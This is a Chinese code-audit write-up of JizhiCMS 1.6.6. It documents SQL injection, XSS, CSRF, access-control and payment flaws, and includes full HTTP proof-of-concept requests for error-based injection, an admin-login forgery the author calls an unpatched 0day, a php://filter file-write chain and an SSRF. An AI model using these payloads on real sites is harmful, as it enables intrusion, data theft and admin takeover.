0x00 基本信息

基本信息

简介

基于php开发的文件管理系统,审计版本1.6.6,选择这个版本,因为这个版本相对来说可能漏洞多一些,涵盖的比较广,仅记录前台的方法

文件hash

必选项

  • 444b3ea09d65d04d9d2b1163d104473f

文件存储

必选项

  • https://pan.baidu.com/s/1C7eb-kfW80lANL17fiWJIA

cms指纹

可选项,后期必选

  • body="description\" content=\"极致CMS"

源码相关

从哪下载,可选项

cms名字

必选项,实际名字或者化名

  • 极致cms

关联平台

类似第三方支付平台

伪静态

1
rewrite ^/[^admin](.*)html$ /index.php last;

0x01 基本流程

框架加载流程

定义了一些基本信息

1664339827978

调用流程如下

1664339989972

关键点就是这个route方法

获取到的路由是经过一次解码的,并且实例化的参数是完全可控的,这里并没有对$_GET、$_POST等变量进行全局过滤

1664340707503

对应到的是调用controller控制器,那么这里的$this->_data就是完全可控的,当然这里还有个语言包的问题,这样的一般或存在文件包含的问题,然后下面回显调用_init方法,在进行请求的方法的调用

1664340985151

不过是只能限制php后缀,那就只有两种场景了

  • php5.2
  • docker环境

实际上可以看到,当调用请求的方法时

1
call_user_func_array(array($dispatch, $actionName), $param);

接受方法中存在参数,就是说只要是public属性的方法都可以调用

变量过滤

除了使用原生的接收参数的方式之外,这里面还定义了一个frparam方法来接收参数

这里可以看到

当不传需要的参数时,会把所有的参数直接原样返回,传入参数时,就被限制了

1664341599964

所以对于注入来说,可以存在如下情况

  • 原生的传参方式:$_GET
  • 整型的注入点:多出现在in语句里面
  • 接收参数使用$this->frparam()

至于xss,下面虽然也有过滤xss的方法,但是并未看到调用

1664342753845

sql处理

主要有如下方法

  • getCount
  • goInc
  • update
  • findAll(find)
  • delete
  • add
  • findSql

基本都存在问题,以find方法来看,查询条件的key和value都存在问题,还有就是order问题

1664342098195

模板解析的问题

如下,后缀不可控,但是当assign参数完全可控的时候,最后写入的文件名就可通过变量覆盖控制,并且这里出现设置assign值的方法还有__set魔术方法,也就是说当控制器中出现$this->$name类似的时候,如果name参数可控,就会存在漏洞

1664342329960

0x02 代码审计

SQL注入问题

先列举一下

  • mypay/wechat_notify_pay->php://input
  • mypay/alipay_notify_pay->GET
  • wechat/responseMsg->php://input
  • user/_init->action
  • home/jizhi->SERVER
  • message/index->ip
  • user/release->$this->frparam()
  • static\common\user\uedit\php\controller.php额外扩展

当然可能不止这些,只是一样举一个例子

SQL注入1

  • mypay/wechat_notify_pay

前两个都是需要验证sign值的,alipay现在不是用MD5验证了,所以看下wechat的

1664357251188

最终的验证如下

1664357319873

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /index.php/mypay/wechat_notify_pay.html HTTP/1.1
Host: 192.168.198.152
Content-Length: 240
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.198.152
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.198.152/Login/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<xml>
<return_code><![CDATA[SUCCESS]]></return_code>
<result_code><![CDATA[SUCCESS]]></result_code>
<sign>CD2AEDAE647870DA3199DF412084CEC1</sign>
<out_trade_no><![CDATA[1'and updatexml(1,concat(0x7e,user()),1)#]]></out_trade_no>
</xml>

固定的MD5字符串格式

1
out_trade_no=1'and updatexml(1,concat(0x7e,user()),1)#&result_code=SUCCESS&return_code=SUCCESS&key=

1664358095226

SQL注入2

  • wechat/responseMsg

这个比较好的点是没有进行sign的验证,所以比较通用

1664358253379

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /index.php/wechat/responseMsg.html HTTP/1.1
Host: 192.168.198.152
Content-Length: 269
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.198.152
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.198.152/Login/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<xml>
<ToUserName><![CDATA[aaa]]></ToUserName>
<FromUserName><![CDATA[1' and updatexml(1,concat(0x7e,(md5(123))),1)#]]></FromUserName>
<MsgType><![CDATA[event]]></MsgType>
<Event><![CDATA[subscribe]]></Event>
<Content>aaa</Content>
</xml>

1664358516809

SQL注入3

  • user/_init

默认没开,比较废

1664358679507

这里主要就是之前说过的_init方法在action之前调用,也就是action可以是任意值

这个就不复现了

SQL注入4

  • home/jizhi

如下代码,参数取自REQUEST_URI

1664358811578

复现

1
/index.php/'%20and%20updatexml(1,concat(0x7e,user()),1)%23

1664358926199

SQL注入5

  • message/index

代码如下,ip可从HTTP_CDN_SRC_IP获取,最终进入add方法拼接

1664359052581

复现

1
2
3
4
5
6
7
8
9
10
11
12
POST /index.php/message/index.html HTTP/1.1
Host: 192.168.198.152
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
CDN-SRC-IP: 127.0.0.1' or updatexml(1,concat(0x7e,database(),0x7e),0) or '
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

tid=4&user=test&title=123&tel=13000000000&body=123

1664359214082

SQL注入6

  • user/release

需要登陆,其他还有需要前台登陆的,不一一看了

这属于变量覆盖的问题

1664359895243

不复现这个了

SQL注入7

  • static\common\user\uedit\php\controller.php
  • A\t\tpl\uedit\php\controller.php

1664360256019

但是其实,将内容当成了path

1664360337261

还是堆叠注入,不过不能直接报错还得结合文件上传的点

1664361723160

xss问题

存储xss

凡是涉及到$this->frparam()和add或者update一起的,都存在xss的问题

有挺多的,举个后台的例子

  • article/editarticle

在前台的发布文章处,对title进行了处理

1664346154943

但是在后台的编辑文章处并未进行处理

1664346232354

漏洞复现

登陆前台用户

1664346349768

然后在后台的内容列表里面再修改一次

1664346844755

1664346856297

逻辑问题

验证码问题

并没有次数限制

1664347000609

可以一直使用同一个验证码爆破

csrf

基本上所有的请求都可以通过get型来完成,所以这里的csrf危害还是很大的

越权问题

在user/buylist方法中可以查看所有的交易记录和充值记录

1664352459082

如下订单是13000000000用户下的

1664352486035

支付问题

这里只提一种

  • user/buy

这里的积分参数

1664353734989

如下访问后会创建订单

1664353863099

然后我们去支付

  • order/pay方法

会从我们的订单种取出来积分然后更新数据库

1664353941205

1
2
3
POST /order/pay.html?go=1

orderno=No20220928162938&username=test&tel=13000000000&email=admin@qq.com&address=aaaa&paytype=4

1664354024400

其他的还有先不记了

伪造登陆

目前依然算是0day

存在一个frvercode方法,用来设置验证码的session

而在common中的vercode方法可以向session写入任意键值,虽然值并不可控,但是并不影响进一步利用

1664347183555

后台的鉴权方法如下

1664347321807

做一个测试

1
2
3
4
5
6
<?php
$a = array(
"admin"=>"11234"
);
var_dump($a['admin']['id']);
?>

可以看到,当一个字符串按照数组取值时,会将键值int强转,这里的id就相当于$a['admin'][0]

1664347384397

这样一来就有了可操作空间,只要爆破一个4位字符的MD5值为1开头的就可以直接访问后台

漏洞复现

其实很简单,第一个字符只有16种可能,跑两下就可以出一个1开头的

1
2
3
4
5
6
7
8
9
GET /common/vercode/code_name/admin.html?0.3001939273552767 HTTP/1.1
Host: 192.168.198.152
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.198.152/Login/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bfie6p6fcu1ss674vtsfbeka73;
Connection: close

1664347897254

然后直接访问后台就可以了,虽然有警告信息,和我们上面测试的时候看到的警告一个样

1664348127235

截断类的漏洞

之前提到过了一个文件包含的,需要00截断

1664348854296

还有就是display里面

1664348921174

这类就不测试,目测应该没有

文件写入

影响版本是2.3之前

前面说到了,可以调用带有传参的方法

找到如下方法,

1664354168658

可以看到的是文件前面有<?php die();?>

在1.5版本其实是不存在的

1664354264385

但是这里的content,直接调用的话并没有值

这个时候针对绕过这个die,无疑需要用的到伪协议

由于长度有限,最终获取到的payload如下

1664356902165

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /home/end_cache.html HTTP/1.1
Host: 192.168.198.152
Content-Length: 4787
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.198.152
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.198.152/Login/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

cache_file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CN.ISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=./1

最终生成如下

1664357075120

这个适应服务器为linux

SSRF

同样的需要传参的还有一个方法

1664438370186

这个方法可以支持gopher协议,如果当成代理使用的话,可以传post数据和header中的数据,应该是比较完美的SSRF的点了,就是没有输出

1664438468932

0x03 end